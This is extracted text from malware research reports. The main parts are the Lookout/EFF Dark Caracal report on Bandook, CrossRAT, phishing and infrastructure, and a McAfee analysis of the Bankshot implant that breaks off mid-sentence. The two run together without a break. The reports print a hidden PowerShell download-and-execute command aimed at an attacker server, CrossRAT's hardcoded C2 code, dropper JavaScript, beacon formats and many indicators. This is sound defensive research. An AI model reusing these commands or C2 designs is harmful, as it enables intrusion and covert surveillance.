d965c3736e530bfdbfde2cc6a264f2aa RequestID : 0 C2 Phone Added : +7820435193 MobileTargetUID : 0 VoicePhone Added : +7820944266 Version : 0 VoicePhone Added : +78235424312 MobileTargetID : nana Logging : 0 HeartBeatInterval : 120 C2 : 180.235.133.57 TrojanID : nana Ports: 21, 53, 443, 4111 TrojanUID : 03FDAF68 Included exploits - Exynos Abuse UserID : 1000 Installed Modules MaxInfections : 30 RemovalAtDate : 0 Call recording Phone log collection Device tracking RemovalIfNoProxy : 0 https://en.wikipedia.org/wiki/FinFisher SECURITY RESEARCH REPORT Surveillanceware - Desktop Components The desktop malware component exists in a range of file types, including executables, zip archives, PDFs, and Microsoft composite document file format. No zero days or publicly known exploits were located in these files and, based on several of the documents, the primary attack vector is believed to be social engineering via spear-phishing. Analysis into Dark Caracal desktop tooling did result in the discovery of a new cross-platform Java RAT known as CrossRAT and confirmed that this actor is using new variants of the Bandook family. Bandook The Bandook RAT was originally identified during EFF s Operation Manul research, however, this investigation surfaced new variants belonging to this family. Written in Delphi and targeting Windows operating systems, Bandook samples are packed at multiple stages in order to both evade detection and slow down the process of reverse engineering by security analysts. At the time of writing, 19 out of 63 antivirus engines on the malware repository VirusTotal flagged most Bandook samples as malicious. First stage samples of the version of Bandook used by Dark Caracal include what appears to be a drawing program and a trojanized version of the Psiphon circumvention software20. While the drawing application was not fully functional and did not provide a user interface when launched, the modified version of Psiphon contained the complete legitimate functionality of the original application. The first stage malware is signed with a valid SSL certificate issued by Certum CA for Ale Couperus (alecouperus@mail[.]com). We have identified several distinct samples signed with this certificate. This suggests that the actors behind these samples control the private key for this certificate and have the ability to sign arbitrary packages. It is unclear at this time whether the private key associated with this certificate has been stolen or if the attackers obtained it via legitimate sources. Upon initial execution, the first stage of Bandook decrypts several strings that are stored in the data section and base64 encoded. Below is the plaintext of some of these strings, which we can see as Windows API calls. SHA256 hash: ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 SECURITY RESEARCH REPORT Figure 25: Decoded strings from the Bandook sample The malware uses these API calls to decrypt Bandook s second stage, an embedded resource. This resource is a randomly named eight-character string of uppercase letters and numbers. During our research, we only observed the numbers two and three being used and these were often positioned towards the end of the string. Following the decryption of the second stage, the iexplore.exe binary is started and immediately replaced with the loaded resource. This is a technique known as process hollowing21 The second stage Bandook samples are occasionally packed with the following modified UPX packer UPX Modified >> *$igBy Ahmed18 . Not all second stages were packed indicating that the authors may be actively developing the malware. As expected, the core malicious functionality resides in the second stage, which attempts to implant itself in the system and contact command and control infrastructure for further instructions. At this point, the malware has the ability to start new processes, manipulate the file system and registry, take screen captures, escalate privileges, create mutexes, get system information, execute commands, get window names, and beacon to infrastructure. https://attack.mitre.org/wiki/Technique/T1093 SECURITY RESEARCH REPORT Bandook communication with attacker infrastructure takes place over a TCP port with HTTP payloads Base64 encoded and suffixed with the string . The following is an example of a decoded communication from an infected system: @0000~!18128~!192.168.1.82~!610930~!EFFuser~!Seven~!0d 0h 3m~!0~!4.1~!21/04/2017~!0~!0~!0~!0~!~!0~!0--~!None~!0~! Instructions sent from Dark Caracal infrastructure to Bandook compromised systems make use of as a delimiter, the same approach used by the Pallas Android malware. This suggests there is a possibility Bandook and Pallas were written by the same author or that the author of one was inspired by the authors of the other. We found Bandook supports the following set of commands. CaptureScreen DeleteFileFromDevice DeleteAutoFTPFromDB Init CopyMTP ExecuteTV ClearCred ChromeInject ExecuteAMMY GetCamlist DisableChrome DDOSON SendCam RarFolder ExecuteTVNew StopCam SendUSBList getkey Uninstall SignoutSkype SendMTPList CompressArchive StealUSB SendMTPList2 GenerateReports StartFileMonitor GrabFileFromDevice GetWifi SendFileMonLog PutFileOnDevice StartShell GetUSBMONLIST StopFileMonitor GetSound GetFileMONLIST SendinfoList SplitMyFile StopUSBMonitor EnableAndLoadCapList GetAutoFTP SearchMain DisableMouseCapture SendStartup StopSearch AddAutoFTPToDB From this, we can infer some additional functionality, including the ability to view the victim s webcam, record sound, get Wi-Fi connections, manipulate USB devices, manipulate the Chrome browser, sign the victim out of Skype, search for files, upload new files to the device, execute secondary infections, or participate in a DDOS attack. Systems infected with this Bandook variant contain a copy of the first stage in the path C:\Users\user\AppData\ Roaming\%appname%\%appname%.exe. Similarly, in such cases, autostart registry keys are written with the same name as the dropped file to HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run. SECURITY RESEARCH REPORT CrossRAT While investigating the axroot[.]com domain, we discovered a new remote access trojan called CrossRAT that we believe was developed by, or for, Dark Caracal. Written in Java with the ability to target Windows, Linux, and OSX, CrossRAT is able to manipulate the file system, take screenshots, run arbitrary DLLs for secondary infection on Windows, and gain persistence on the infected system. When executed in a Windows environment, CrossRAT attempts to copy itself to %AppData%\Local\ Temp\mediamgrs.jar before, like Bandook, creating an auto-start registry key in HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run with the name mediamgrs On OSX and Linux, it attempts to write a copy of itself to /usr/var/mediamgrs.jar. If CrossRAT does not have sufficient permissions to write to this directory, it will fail back to the following path under the user s home directory: $HOME/Library/mediamgrs.jar. For CrossRAT installations on OSX, a Launch Agent is created under $HOME/Library/ LaunchAgents/mediamgrs.plist to ensure that it will be launched again when the computer restarts. When on Linux, this persistence is achieved by writing an autorun file to $HOME/.config/autostart/mediamgrs.desktop. CrossRAT performs communications to its C2 infrastructure via a TCP socket. The following is an example of content sent over the wire from a compromised machine: 5287249f-caa2-4b66-850c-49eedd46cf47$#@@0000$#@192.168.1.16$#@Windows 7$#@6.1$#@EFFuser^585948$#@0.1$#@GROUP2$#@&&& CrossRAT uses a similar structure to Pallas and Bandook when communicating with infrastructure. Specifically, it uses &&& to terminate the response string and uses @### to start command strings. Below is a code snippet from a CrossRAT sample. The response prefixes, hard coded C2 server of flexberry[.]com, and fixed port of 2223, are clearly visible. public final class k public static boolean a = false; // Hardcoded C2 Information public static String b = flexberry.com ; // C2 Server public static int c = 2223; // C2 Port SECURITY RESEARCH REPORT (continued from page 34) public static String d = ; // Argument delimiter public static String e = ; // delimiter within arguments public static UUID f; public static String g; public static Preferences h; public static String i = ; // Version Number public static String j = GROUP2 ; // Campaign name public static Socket k; public static Socket l; // Server command prefixes public static String m = @0000 ; // Enumerate root directories on the system. 0 args public static String n = @0001 ; // Enumerate files on the system. 1 arg public static String o = @0002 ; // Create blank file on system. 1 arg public static String p = @0003 ; // Copy File. 2 args public static String q = @0004 ; // Move file. 2 args public static String r = @0005 ; // Write file contents. 4 args public static String s = @0006 ; // Read file contents. 4 args public static String t = @0007 ; // Heartbeat request. 0 args public static String u = @0008 ; // Get screenshot. 0 args public static String v = @0009 ; // Run a DLL (windows only). 1 arg // Client response prefixes public static String w = @0000 ; // client hello public static String x = @0001 ; // heartbeat response public static String y = @0002 ; // List of system root directories public static String z = @0003 ; // Status message for file manager connect, unimplemented public static String A = @0004 ; // Status message for file manager connect, unimplemented public static String B = @0005 ; // List of files on system public static String C = @0006 ; // End list of files on system public static String D = @0007 ; // file created status message public static String E = @0008 ; // file written status message public static String F = @0009 ; // file moved status message public static String G = @0010 ; // file write status public static String H = @0011 ; // file read status and file contents public static String I = @0012 ; // send screenshot contents public static String J = @0013 ; // Run DLL status message public static String K; // Filepath for CrossRAT Analysis of CrossRAT shows that it has a version number of 0.1, which indicates that its malicious capabilities are still under development. Implemented functionality includes the ability to enumerate attacker-specified directories, copy / move / read files, beacon to C2 infrastructure, run attacker specific libraries (Windows only), and create empty files. The CrossRAT sample we discovered was last modified in March of 2017. SECURITY RESEARCH REPORT Infected Documents We identified several Word documents which appear to be intended for use as infection vectors in phishing attacks. None of the documents appear to contain any exploits, but rather rely on macros to run malicious code on a target system. If executed in an environment that has macros enabled, the malware downloads its second stage components. We saw this same process in numerous malicious PDF files that used javascript to download secondary stages. The following script is an example of this functionality, which is identical to the malicious Word doc with the SHA256 hash e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 (Word macro fixed.doc). var v = app.viewerVers, ion; if (v < 7) { var n = 0; if (this.dataObjects != null) n = this.dataObjects.length; if (v >= 5 && v < 6 && n > 0 && (app.viewerVariation == Full || app.viewerVariation == Fill-In )) { if (this.external\) app.alert( This document has file attachments. To view the attachments, click the Save button to save a copy of the document, open the copy in Acrobat, and use the File > Document Properties > Embedded Data Objects menu. , 3, 0); else app.\alert( This document has file attachments. Use the File > Document Properties > Embedded Data Objects menu to view the attachments. , 3, 0); } else if (v >= 6 && v < 7) { if (n == 0) { var np = this.numPages; syncAnnotScan();\ for (var p = 0; p < np && n == 0; ++p) { var annots = this.getAnnots(p); if (annots != null) { for (var i = 0; i < annots.length; ++i) { if (annots[i].type == FileAttachment n = 1;\ break; if (n > 0) { if (this.external) app.alert( This document has file attachments. To view the attachments, click the black triangle at the top of the document window s vertical scrollbar and \ choose File Attachments. , 3, 0); else app.alert( This document has file attachments. Use the Document > File Attachments menu to view the attachments. , 3, 0); --this.exportDataObject({ cName: BL920123.doc , nLaunch: 2 }); SECURITY RESEARCH REPORT Figure 26: An observed malicious Word file that, when executed, attempts to run macros in order to download and execute Bandook stage one Other Samples Surprisingly, we also observed a malicious Microsoft Compiled HTML Help file with the .chm extension. Primarily used for software documentation, .chm files were first introduced with the release of Window 98. However, they are still supported in Windows 7. The chm file attempts to execute a command via Powershell that downloads an additional file called ne.abc from the server cma-cgrm[.]com. Below is the command contained in the malicious .chm file. cmd.exe,/c powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile( https://cmacgrm[.]com/ebusiness/ne.abc %TEMP%\chmplg.exe );Start-Process %TEMP%\chmplg.exe; At the time of analysis, this server was no longer live and, as such, the associated ne.abc binary has not yet been acquired and does not appear on VirusTotal. The cma-cgrm[.]com domain is not obviously connected with other infrastructure. SECURITY RESEARCH REPORT Infrastructure While analyzing adobeair[.]net, we uncovered sprawling infrastructure used by Dark Caracal. This infrastructure serves a broad set of purposes, including acting as storage for exfiltrated data, masquerading as an Android App Store hosting malware, delivering attacker commands to infected devices, and providing phishing content aimed at gathering credentials for various well known services. We found much of this infrastructure hosted on servers provided by Shinjiru, an offshore bulletproof hosting provider that allows its customers to host almost any content. WHOIS information listed for the adobeair[.]net C2 server led to the discovery of many of these domains, as did scanning of Shinjiru IP blocks for servers running a set of services. This acted as a fingerprint for Dark Caracal s infrastructure. To date, the following domains and IPs have been identified as connected to the infrastructure used by Dark Caracal. Domain Links / Connection to Dark Caracal adobeair[.]net Shared C2 server / Exfiltrated data server secureandroid[.]info Blackmarket Android App Store tweetsfb[.]com Watering hole, Facebook groups, used to phish credentials, running Apache Win32 fbarticles[.]com Phishing domain linked by WHOIS (op13) Arablivenews[.]com [EXPIRED] WHOIS (op13) Nancyrazzouk[.]com [EXPIRED] WHOIS (nancyrazzouk) Arabpublisherslb[.]com WHOIS (nancyrazzouk) flexberry[.]com 94[.]229[.]70[.]7 (Windows) planethdx[.]com 94[.]229[.]70[.]7 (Windows) globalmic[.]net 94[.]229[.]70[.]7 (Windows) megadeb[.]com 94[.]229[.]70[.]7 (Windows) opwalls[.]com 94[.]229[.]70[.]7 (Windows) mecodata[.]com 94[.]229[.]70[.]7 (Windows) sabisint[.]com 94[.]229[.]70[.]7 (Windows) roxsoft[.]net 94[.]229[.]70[.]7 (Windows) axroot[.]com Windows malware campaign skypeupdate[.]com Windows malware campaign playermea[.]com Windows malware campaign kaliex[.]net Windows malware campaign tenoclock[.]net Windows malware campaign ancmax[.]com Windows malware campaign SECURITY RESEARCH REPORT The following relevant contact information has also been identified during this investigation. Email Link/Context op13@mail[.]com Primary email contact for C2 server. Associated with rami jabbour Hadi Maz nancyrazzouk@mail[.]com nancyrazzouk hicham.dika@mail[.]com SSL cert in exe hetemramadani5@gmail.com SSL cert in exe alecouperus@mail.com SSL cert in exe Primary Command and Control Server As noted, adobeair[.]net is hosted on Shinjiru. This bulletproof hosting company allows its customers to host almost any type of content, protects client identity, accepts Bitcoin for payment, and is more resilient than other providers to takedowns22. Shinjiru has also been used to host many of the Dark Caracal Windows domains dating back over seven years to April 27th, 2010 (see a list of Windows malware domains in the Windows infrastructure section below). At the time of writing, adobeair[.]net is currently live and running a fairly unique set of services. We have used this server as a fingerprint in the discovery of further related infrastructure. These services include XAMPP for Windows 5.6.31, Apache 2.4.26, MariaDB 10.1.25, PHP 5.6.31, phpMyAdmin 4.7.0, and OpenSSL 1.0.2. We confirmed these via an nmap scan of the adobeair server.23 Figure 27: Nmap scan of adobeair[.]net https://www.shinjiru.com/company/about-us/ https://www.apachefriends.org/download.html SECURITY RESEARCH REPORT The adobeair[.]net C2 server had the Apache mod_status module enabled. This provides operators with information on server activity, performance, and a statistics page under /server-status that details connected clients and the server resources they are accessing. By programmatically monitoring this page, we were able to determine the source IPs of infected clients and admins logging into the console. The adobeair[.]net server has, as of late September 2017, been moved to a new hosting provider, M247, and the operators have improved the security. WHOIS history for adobeair[.]net lists Nancy Razzouk with an email address of op13@mail[.]com as the registrant. We have identified the Nancy Razzouk persona as the SSL signer of the Windows malware samples and the registrant of multiple domains. Its reuse has helped identify further Dark Caracal infrastructure. Figure 28: WHOIS information for adodeair[.]net as observed in August 2017 SECURITY RESEARCH REPORT Watering Hole Server During this investigation, we determined this server is the only infrastructure we discovered that serves up malicious apps belonging to the Pallas malware family. A detailed analysis of these applications can be found under the Android Surveillanceware section. As with other Dark Caracal infrastructure, the secureandroid[.]info domain was also registered with the bulletproof hosting company Shinjiru. Figure 29: Screenshot of the secureandroid[.]info watering hole server, a distribution point for Pallas We found links to these landing pages in the exfiltrated content of compromised devices, which indicates it is actively being used during the attack chain. As of December 2017 it appears that secureandroid[.]info has had its domain expire. Phishing Domains We identified the Dark Caracal domain tweetsfb[.]com while analyzing the secureandroid[.]info server source code. We identified two bit[.]ly URLs on this server that resolve to other pages on the tweetsfb site that were carefully crafted to look like the Facebook and Twitter login portals. The copyright dates suggest these pages are clones of the originals from 2015. Figure 30: Dark Caracal clones of Twitter and Facebook login portals SECURITY RESEARCH REPORT These bit[.]ly links and their respective resolving links are: http://bit[.]ly/2j3r285 points to http://bit[.]ly/2iByHcu points to http://www.tweetsfb[.]com/services/100001472583690/twitter/articles/100001/ http://tweetsfb[.]com/services/100001472583690/facebook/groups/100002/ The tweetsfb[.]com domain was found to share an IP address (172.94.17.147) with the following additional domains. Figure 31: Domains sharing the same IP address as tweetsfb[.]com We were able to find additional phishing campaigns in VirusTotal that referenced fbarticles[.]com. While fbarticles was registered by the op13@mail[.]com address with the name Hadi Mazeh, the WHOIS information for fbtweets was private. Figure 32: Detections in VirusTotal for fbarticles[.]com SECURITY RESEARCH REPORT Figure 33: Detections in VirusTotal for the IP address that hosted fbarticles[.]com Note: we identified three further domains facebookservices[.]org gmailservices[.]org , and twiterservices[.]org that were once a part of this campaign. Those domains now appear to be sinkholed. When we discovered these domains, the threat actors had already taken them offline and another individual had purchased them. This individual is associated with unrelated domains that are connected to other APT reports. However, we noticed that the individual purchased the domains after the APT reports went public. While we re not sure why this individual is purchasing, sinkholing, and monitoring these domains, we think it s an interesting note. SECURITY RESEARCH REPORT Windows C2 Servers The Windows server infrastructure has a much longer history than the Android infrastructure, showing that the actors are willing to evolve to new technologies, such as mobile, as they become more valuable targets. The Windows malware servers hosted control panels for multiple campaigns using various malware that included IRIS RAT, Bandook, and Arcom RAT. We found these servers hosting exfiltrated desktop content, Windows malware signed by alecouperus@mail[.]com , and the CrossRAT trojan. All of these domains share the same IP on more than one occasion and have migrated between hosting providers in the same time window. Most of these domains were hosted on Shinjiru, the same hosting server for the Android campaign. ancmax[.]com sabisint[.]com planethdx[.]com megadeb[.]com mecodata[.]com roxsoft[.]net globalmic[.]net flexberry[.]com kaliex[.]net opwalls[.]com axroot[.]com The following screenshot shows HTTP 200 OK response codes for http://// Each of the following directories contained a login panel for either IRIS RAT or Arcom RAT. Figure 34: Various RAT login portals found on a mix of the C2 servers SECURITY RESEARCH REPORT Using the Wayback Machine we identified the signature Win32 apache server running on skypeupdate[.]com in 2016. This server was first seen resolving to an IP belonging to Shinjiru in late 2013 and last seen resolving to a Shinjiru IP in late 2016. The oldest domain we identified as part of this infrastructure is flexberry[.]com. The following screenshot shows passive DNS resolution dating back to 2010. Figure 35: Passive DNS resolutions for the infrastructure SECURITY RESEARCH REPORT Appendix Indicators of Compromise and Actor Tracking Phone Number +7820435193 Email +7820944266 op13@mail[.]com +7820944266 hicham.dika@mail[.]com Domain nancyrazzouk@mail[.]com adobeair[.]net alecouperus@mail[.]com tweetsfb[.]com hetemramadani5@gmail.com secureandroid[.]info info@secureandroid[.]info fbtweets[.]net gsec[.]in 111.90.141[.]70 arabpublisherslb[.]com 111.90.145[.]64 sabisint[.]com 111.90.141[.]38 fbarticles[.]com 111.90.158.121 planethdx[.]com 111.90.141.169 opwalls[.]com 111.90.145.64 kaliex[.]net 111.90.150.221 axroot[.]com 180.235.133.57 megadeb[.]com 172.111.250.156 mecodata[.]com 77.78.103.41 roxsoft[.]net 74.208.167[.]252 flexberry[.]com 111.90.140[.]11 globalmic[.]net 111.90.150[.]221 playermea[.]com SECURITY RESEARCH REPORT (continued from page 46) arablivenews[.]com accountslogin[.]services ecowatchasia[.]com adobeinstall[.]com etn9[.]com adobe-flashviewer.accountslogin[.]services ancmax[.]com dropboxonline[.]com tenoclock[.]net iceteapeach[.]com kaliex[.]net nvidiaupdate[.]com mangoco[.]net skypeupdate[.]com jaysonj.no-ip[.]biz paktest.ddns[.]net orange2015[.]net watermelon2017[.]com skypeservice.no-ip[.]org Mobile Implant Apps Type PackageName b0151434815f8b3796ab83848bf6969a2b2ad721 SHA1 com.primo.mobile.android.app bfbe5218a1b4f8c55eadf2583a2655a49bf6a884 SHA1 org.thoughtcrime.securesms 47243997992d253f7c4ea20f846191697999cd57 SHA1 com.psiphon3 ed4754effda466b8babf87bcba2717760f112455 SHA1 com.gbwhatsapp 309038fceb9a5eb6af83bd9c3ed28bf4487dc27d SHA1 org.telegram.plus eaed6ce848e68d5ec42837640eb21d3bfd9ae692 SHA1 org.torproject.android edf037efc400ccb9f843500103a208fe1f254453 SHA1 org.telegram.plus 35b70d89af691ac244a547842b7c8dfd9a7233fe SHA1 ch.threema.app 7d47da505f8d3ee153629b373f6792c8858f76e8 SHA1 com.flashplayer.player 4896b0c957b6a985b2b6efe2ffe517dceaa6ce01 SHA1 com.flashplayer.player 6a2d5c0a4cc5b5053f5c8f15c447316fae66b57b SHA1 com.flashplayer.player SECURITY RESEARCH REPORT Desktop Implant Apps SHA2 Sum File Type ce583821191345274cd954b2db7da9742c239fe413fc17dcb97ffdd7b51cb072 MS Windows HtmlHelp Data ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2 PE32 executable (DLL) (GUI) Intel 80386 26419a0b6e033cdcb7bf4ca6b0b24fda35490cc6f2796682fb9403620f63d428 PE32 executable (GUI) Intel 80386 15af5bbf3c8d5e5db41fd7c3d722e8b247b40f2da747d5c334f7fd80b715a649 Zip archive data 22eee43887e94997f9f9786092ffd3a9b51f059924cba678cf7b62cfafa65b28 PE32 executable (GUI) Intel 80386 fcf8f9566868d65d901fd6db9a8d6decacb860f5595f84a6a878193eda11549d PDF document, version 1.6 f2178146741f91923c7d3e2442bd08605ed5a0927736e8cfdea00c055b2c6284 PDF document, version 1.6 6b6d363d653785f420dcc1a23c9d9b8b76b8647209b52562b774c793dc0e3f6b data a3ae05a134b30b8c8869d0acd65ed5bca160988b404c146a325f2399b9c1a243 PE32 executable (DLL) (GUI) Intel 80386 e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 Composite Document File V2 Document 400bca713ba1def9cdbc0e84fc97447db2fa3d12b1c5ef352ef985b7787b6ca4 Microsoft Word 2007+ 5e0d061531071e53b3b993e06ce20dae6389a7e9eba5d7887399de48e2f2d278 Composite Document File V2 f9f2e632535b214a0fab376b32cbee1cab6507490c22ba9e12cfa417ed8d72bb MS-DOS executable bf600e7b27bdd9e396e5c396aba7f079c244bfb92ee45c721c2294aa36586206 PE32 executable (GUI) da81aec00b563123d2fbd14fb6a76619c90f81e83c5bd8aa0676922cae96b9ad PE32 executable (GUI) Intel 80386 9cf3d3c0b790cebeacb8cb577cd346a6513b1b74fa120aff8984aa022301562e PE32 executable (DLL) (GUI) Intel 80386 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b PE32 executable (GUI) Intel 80386 a91c2cad20935a85d6eed72ef663254396914811f043018732d29276424a9578 PE32 executable (GUI) Intel 80386 b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d PE32 executable (GUI) Intel 80386 ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790 PE32 executable (GUI) Intel 80386 5c1622cabf21672a8a5379ce8d0ee0ba6d5bc137657f3779faa694fcc4bb3988 PE32 executable (GUI) Intel 80386 86f1bbda3ebf03a0f0a79d7bd1db68598ace9465f5cebb7f66773f8a818b4e8b PE32 executable (DLL) (GUI) Intel 80386 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd PE32 executable (DLL) (GUI) Intel 80386 ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 PE32 executable (GUI) Intel 80386 f581a75a0f8f8eb200a283437bed48f30ae9d5616e94f64acfd93c12fcef987a PE32 executable (GUI) Intel 80386 d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba PE32 executable (GUI) Intel 80386 SECURITY RESEARCH REPORT About Lookout Lookout is a cybersecurity company for a world run by apps. Powered by the largest dataset of mobile code in existence, Lookout is the security platform of record for mobile device integrity and data access. Lookout is trusted by hundreds of millions of individuals, hundreds of enterprises and government agencies, and such ecosystem partners as AT&T, Deutsche Telekom, and Microsoft. Headquartered in San Francisco, Lookout has offices in Amsterdam, Boston, London, Sydney, Tokyo, Toronto and Washington, D.C. Lookout Website www.lookout.com Blog blog.lookout.com Email threatintel@lookout.com Twitter @lookout About EFF The Electronic Frontier Foundation is the leading nonprofit organization defending civil liberties in the digital world. Founded in 1990, EFF champions user privacy, free expression, and innovation through impact litigation, policy analysis, grassroots activism, and technology development. We work to ensure that rights and freedoms are enhanced and protected as our use of technology grows. EFF Website www.eff.org Blog www.eff.org/deeplinks Email press@eff.org Twitter @eff Contributors Andrew Blaich, Lookout Apurva Kumar, Lookout Jeremy Richards, Lookout Michael Flossman, Lookout Cooper Quintin, EFF Eva Galperin, EFF Special thanks to the many others in our organization, and to our partners, who contributed significantly to this work. 1-888-988-5795 | lookout.com 2018 Lookout, Inc. LOOKOUT , the Lookout Shield Design , LOOKOUT with Shield Design , SCREAM , and SIGNAL FLARE are registered trademarks of Lookout, Inc. in the United States and other countries. EVERYTHING IS OK , LOOKOUT MOBILE SECURITY , and PROTECTED BY LOOKOUT , are registered trademarks of Lookout, Inc. in the United States. POWERED BY LOOKOUT is a trademark of Lookout, Inc. All other brand and product names are trademarks or registered trademarks of their respective holders. 20180118-Lookout-USv1.0 Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshotimplant/ March 8, 2018 By Ryan Sherstobitoff on Mar 08, 2018 This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales. On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations. In this analysis, we observed the return of Hidden Cobra s Bankshot malware implant surfacing in the Turkish financial system. Based on the code similarity, the victim business sector, and the presence of control server strings, this attack resembles previous attacks by Hidden Cobra conducted against the global financial network SWIFT. In this new, aggressive campaign we see a return of the Bankshot implant, which last appeared in 2017. Bankshot is designed to persist on a victim s network for further exploitation; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations. Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency. The exploit, which takes advantage of CVE-2018-4878, allows an attacker to execute arbitrary code such as an implant. the Further investigation into this campaign and analysis of McAfee product telemetry shows that the infection occurred on March 2 and 3. The implant s first target was a major government-controlled financial organization. It next appeared in another Turkish government organization involved in finance and trade. A further three large financial institutions in Turkey were victims of this attack. The implant has so far not surfaced in any other sector or country. This campaign suggests the attackers may plan a future heist against these targets by using Bankshot to gather information. Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity. The malicious domain falcancoin.io was created December 27, 2017, and was updated on February 19, only a few days before the implants began to appear. These implants are variations of earlier forms of Bankshot, a remote 1/17 access tool that gives an attacker full capability on a victim s system. This implant also contains functionality to wipe files and content from the targeted system to erase evidence or perform other destructive actions. Bankshot was first reported by the Department of Homeland Security on December 13, 2017, and has only recently resurfaced in newly compiled variants. The sample we analyzed is 99% similar to the documented Bankshot variants from 2017. Bankshot implants hosted on falcancoin.io. The Bankshot implant is attached to a malicious Word document with the filename Agreement.docx. The document appears to be an agreement template for Bitcoin distribution between an unknown individual in Paris and a to-be-determined cryptocurrency exchange. The author of this document is test-pc. It was created February 26 and was submitted from the Netherlands. The document contains an embedded Flash script that exploits CVE-2018-4878 and downloads and executes the DLL implant from falcancoin.io. We discovered two more documents, written in Korean, that exploit the same vulnerability as Agreement.docx. These documents appear to be part of the same campaign and may have been used on different targets. These documents also communicated with falcancoin.io to install Bankshot and also contain themes around cryptocurrency security. Two Flash files exploit CVE-2018-4878. 843c17b06a3aee22447f021307909890b68828b9 (February 25) 343ebca579bb888eb8ccb811f9b52280c72e484c (February 25 2/17 Malicious documents in the attack. Malicious document exploiting CVE-2018-4878. 3/17 The implants are downloaded via a Flash file embedded in the malicious document. They are executed when the victim views the document. The malicious site falcancoin.io embedded in the Flash file. Implant directory contained in the malicious Flash file. The implants (DLLs) are disguised as ZIP files and communicate with three control servers, two of them Chinese-language online gambling sites. These URLs can be found hardcoded in the implants code. 4/17 Hardcoded control server URLs. Analyzing Bankshot The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves as a backdoor and contains a variety of capabilities. The malicious DLL is not a service DLL because it lacks ServiceMain(). To mask itself, it can run as a regular library loaded into a legitimate process. The malware begins by creating a new thread from the DllMain() function to carry out its malicious activities: 5/17 New thread created in the malware s DllMain() function. The malware performs the following activities: Builds imports by dynamically loading APIs Decrypts strings needed for control server communications Performs control server communications Handles commands issued by the control server Uninstalls self from the system The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress(). APIs from the following libraries are loaded at runtime: Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll A dynamic API loaded by the malware. Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications: Connection: keep-alive Cache-Control: max-age=0 Accept: */* Content-Type: multipart/form-data; boundary= Content-Type: application/octet-stream Accept-Encoding: gzip,deflate,sdch Accept-Language: ko-KR -> Korean Content-Disposition: form-data;name= board_id 6/17 Content-Disposition: form-data;name= user_id Content-Disposition: form-data;name= file1 ; filename= img01_29.jpg Content-Disposition: form-data;name= file1 ; filename= my.doc Content-Disposition: form-data;name= file1 ; filename= pratice.pdf Content-Disposition: form-data;name= file1 ; filename= king.jpg Content-Disposition: form-data;name= file1 ; filename= dream.avi Content-Disposition: form-data;name= file1 ; filename= hp01.avi Content-Disposition: form-data;name= file1 ; filename= star.avi User Agents The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as: ------FormBoundary Content-Disposition: form-data; name="board_id" 8306 ------FormBoundary Content-Disposition: form-data; name="user_id" *dJU!*JE&!M@UNQ@ ------FormBoundary Content-Disposition: form-data; name="file1"; filename="king.jpg" Content-Type: application/octet-stream board_id is a four-digit number that may be an identifier for a campaign ID. Based on analysis of previous samples, this is a unique identifier. user_id is a hardcoded value in the malware binary that is sent to the control server. The username appears to be attacker specified and has occurred in 2017 Bankshot samples. This links the previous samples with this unique username. filename is based on static analysis. This looks like a specific beacon to indicate that the malware is ready to receive commands. The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands: Commands received from the control server are encoded DWORDs 7/17 After decoding, these DWORDs should be in the range 123459h to 123490h Malware checking to make sure a received command is in the correct range. The command index calculator and jump to the appropriate command. 8/17 The command index table and command handler address table. Implant Capabilities Based on the responses received from the control server, the malware can carry out the following malicious tasks: Recursively generate a list of files in a directory and send to the control server Terminate a specific process. The process is identified by the control server sending the PID to the malware. 9/17 The capability to terminate a process. Gather network addresses and operating system version Execute arbitrary commands using cmd.exe /c The capability to execute system commands. 10/17 Spawning arbitrary processes. Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* Change the time of a file as specified by the control server The malware changing the file time. Create a process by impersonating a logged-on user 11/17 Getting a user token using WTSQueryUserToken. A process created as logged-in user. Gather the process time for all processes Getting time information for all processes running on the system. Gather domain and account names based on all running processes 12/17 Gathering account information from running processes. Read a specified file s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot Marking a file for deletion on reboot. Overwrite a file with all zeros and mark it for deletion on reboot 13/17 Wiping files with zeros and marking it for deletion on reboot. Delete files using the DeleteFile() API Load an arbitrary library into its process space. This may be used to load additional downloaded components of the attack. 14/17 Loading an arbitrary library into its own process space. After every action is performed the 